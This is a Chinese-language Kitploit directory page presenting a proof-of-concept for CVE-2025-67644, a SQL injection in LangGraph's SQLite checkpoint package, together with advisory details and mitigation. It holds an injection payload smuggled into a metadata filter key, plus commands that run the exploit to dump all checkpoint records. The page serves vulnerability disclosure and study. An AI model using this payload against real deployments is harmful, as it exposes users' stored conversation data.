Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-67644-LangGraph-3.0.1-SQLite-Checkpoint-SQL-Injection — CVE-2025-67644 的概念验证漏洞利用程序,该漏洞是 LangGraph SQLite Checkpoint 中的一个 SQL 注入漏洞。演示了如何通过未经净化的元数据过滤器键实现任意 SQL 注入,从而能够进行数据窃取和过滤器绕过。 | Kitploit
工具/GitHubGitHub/mbanyamer/cve-2025-67644-langgraph-3.0.1-sqlite-checkpoint-sql-injection
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育数据库安全
GitHubmbanyamer/cve-2025-67644-langgraph-3.0.1-sqlite-checkpoint-sql-injection

CVE-2025-67644-LangGraph-3.0.1-SQLite-Checkpoint-SQL-Injection

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

CVE-2025-67644 的概念验证漏洞利用程序,该漏洞是 LangGraph SQLite Checkpoint 中的一个 SQL 注入漏洞。演示了如何通过未经净化的元数据过滤器键实现任意 SQL 注入,从而能够进行数据窃取和过滤器绕过。

查看仓库
136个月前尚未审核
分享

CVE-2025-67644 PoC – LangGraph SQLite 检查点 SQL 注入

Author Role Country Platform Vulnerability CVE Status License

CVE-2025-67644 是 langgraph-checkpoint-sqlite 包(属于 LangGraph / LangChain 生态)中的一个 SQL 注入 漏洞(CWE-89)。
攻击者可通过传递给 SqliteSaver 的 list() / 方法的未经净化的注入任意 SQL。

alist()
元数据过滤键

影响:可完全绕过过滤器、泄漏所有检查点记录(包括可能敏感的对话状态、线程 ID、元数据),在某些部署场景下还可实现更广泛的数据库访问。

受影响版本:< 3.0.1
修复版本:≥ 3.0.1
CVSS 评分:7.3(高危)— AV:L / AC:L / PR:L / UI:N / S:C / C:H / I:L / A:N

漏洞概述

内部的 _metadata_predicate() 逻辑在 JSON 提取表达式中使用不安全的 f-string 插值来处理用户可控的字典键:

root@kitploit:~
f"json_extract(CAST(metadata AS TEXT), '$.{query_key}')"

能够提供任意键(例如通过 API 输入)的攻击者可以提前闭合 JSON 路径并注入 SQL 片段,例如:

root@kitploit:~
{"env') OR '1'='1": "anything"}

→ 最终生成一个始终为真的 WHERE 子句 → 返回 所有 记录。

攻击流程图

root@kitploit:~
flowchart TD
    A["User / API Client"] -->|"Sends malicious filter dict"| B["Application using langgraph-checkpoint-sqlite"]
    B -->|"Passes filter=..."| C["SqliteSaver.list method"]
    C -->|"Unsafe key interpolation"| D["Metadata predicate logic"]
    D -->|"Builds injectable SQL"| E["SQLite Engine"]
    E -->|"Returns ALL checkpoints / sensitive data"| F[Attacker]
    F -->|"Data exfiltration / authorization bypass"| G["Impact achieved"]

(此版本尽可能避免在节点文本中使用括号,并对包含特殊字符/点的标签使用引号,以防止解析错误。)

此 PoC 的功能

  • 简洁的同步漏洞利用演示
  • 如果数据库为空,会自动创建演示数据
  • CLI 选项:--dump-all(显示完整记录)、--threads-only(仅提取 thread_ids)
  • 美观的 ASCII 横幅 + 清晰的输出格式

环境要求

root@kitploit:~
pip install langgraph-checkpoint-sqlite"<3.0.1"   # e.g. ==2.0.0

使用方法

root@kitploit:~
# Basic check (count only)
python3 exploit.py checkpoints.db

# Dump full checkpoint details
python3 exploit.py checkpoints.db --dump-all

# Extract thread_ids only (useful for enumeration)
python3 exploit.py checkpoints.db --threads-only --dump-all

# Test against in-memory database (quick & volatile)
python3 exploit.py ":memory:" --dump-all

安装与快速开始

  1. 安装受影响版本:

    root@kitploit:~
    pip install langgraph-checkpoint-sqlite==2.0.0
    
  2. 将漏洞利用代码保存为 exploit.py

  3. 对现有或新的检查点数据库运行:

    root@kitploit:~
    python3 exploit.py checkpoints.db --dump-all
    

修复 / 缓解措施

  • 立即升级:

    root@kitploit:~
    pip install --upgrade langgraph-checkpoint-sqlite
    

    (版本 ≥ 3.0.1)

  • 不要接受来自不可信来源(用户、API、JSON 负载等)的任意元数据过滤键

  • 在 ≥ 3.0.1 版本中,该库会对键强制执行严格的正则表达式:^[a-zA-Z0-9_.-]+$

法律声明

这是一个概念验证(PoC)代码,仅用于教育和安全研究目的。
请勿在未经明确书面许可的情况下将此代码用于生产系统或任何目标。
作者不对因使用此代码而导致的滥用或损害承担任何责任。

参考资料

  • GitHub 安全公告 GHSA-9rwj-6rc7-p77c
  • 修复提交
  • NVD 条目 – CVE-2025-67644

仅限负责任披露与研究用途。
Mohammed Idrees Banyamer
@banyamer_security

下载工具